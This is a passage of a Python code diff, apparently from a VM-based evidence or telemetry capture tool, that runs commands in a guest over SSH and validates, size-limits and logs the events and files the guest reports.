os.fsync(f.fileno()) + os.replace(name, self.peer_path) + finally: + if os.path.exists(name): + os.unlink(name) + except OSError as error: + failure = EvidenceError(str(error)) + self.fail(failure) + raise failure from error + + def records(self, request, context): + encoded = (json.dumps(request, separators=(',', ':')) + '\n').encode() + if len(encoded) > 4 * ((LIMIT + 2) // 3) + 131072: + raise ValueError('guest request limit') + with self.lock: + if self.closed or self.stop_path.exists(): + raise EvidenceError('VM capture stopped') + proc = subprocess.Popen(self.ssh, stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL) + self.active.add(proc) + timer = threading.Timer(620 if request['action'] == 'execute' else 20, proc.kill) + timer.daemon = True + timer.start() + try: + proc.stdin.write(encoded) + proc.stdin.close() + total = 0 + for count in range(65536): + raw = proc.stdout.readline(24 * 1024 * 1024) + if not raw: + break + total += len(raw) + if not raw.endswith(b'\n') or total > 128 * 1024 * 1024: + raise ValueError('guest telemetry limit') + event = json.loads(raw) + if not isinstance(event, dict) or event.get('event') not in EVENTS: + raise ValueError('invalid guest event') + name = event['event'] + clean = {k: v for k, v in event.items() if k in FIELDS and + (v is None or type(v) in (str, int, bool))} + if any(isinstance(v, str) and len(v) > 65536 for v in clean.values()): + raise ValueError('guest field limit') + if 'base64' in event: + content = base64.b64decode(event['base64'], validate=True) + if len(content) > LIMIT: + raise ValueError('guest artifact limit') + clean['content'] = content + # The guest cannot supply or override event correlation or storage paths. + self.emit(name, **clean, **context, telemetry_trust='guest-reported', guest_shared=True) + yield clean + else: + raise ValueError('guest event count limit') + if proc.wait() != 0: + raise OSError('guest transport or command failed') + except EvidenceError as error: + self.fail(error) + raise + finally: + timer.cancel() + if proc.poll() is None: + proc.kill() + proc.wait() + proc.stdout.close() + try: + proc.stdin.close() + except OSError: + pass + with self.lock: + self.active.discard(proc) + + def execute(self, command, context): + if not self.slots.acquire(False): + self.emit('execution_rejected', **context, reason='VM concurrency limit') + return + context = dict(context, execution_id=secrets.token_hex(16)) + def run(): + try: + self.emit('execution_start', **context, command=command, vm=self.config['vmid'], guest_shared=True) + for _ in self.records(dict(action='execute', command=command), context): + pass + self.emit('execution_end', **context) + except EvidenceError as error: + self.fail(error) + except Exception as error: + try: + self.emit('execution_error', **context, error=str(error)) + except EvidenceError: + pass + self.fail(EvidenceError('execution telemetry lost: ' + str(error))) + finally: + self.slots.release() + with self.lock: + self.threads.discard(threading.current_thread()) + thread = threading.Thread(target=run, daemon=True) + with self.lock: + self.threads.add(thread) + thread.start() + + def io(self, request, context): + if not self.io_slots.acquire(False): + self.emit('guest_io_rejected', **context, action=request['action'], reason='concurrency limit') + return None + try: + result = None + for event in self.records(request, context): + if 'content' in event: + result = event['content'] + return result + except EvidenceError: + raise + except (OSError, ValueError, TypeError) as error: + self.emit('guest_io_error', **context, action=request['action'], error=str(error)) + return None + finally: + self.io_slots.release() + + def upload(self, payload, context): + if len(payload) > LIMIT: + raise ValueError('upload limit') + return self.io(dict(action='upload', base64=base64.b64encode(payload).decode()), context) + + def read(self, path, context): + return self.io(dict(action='read', path=path), context)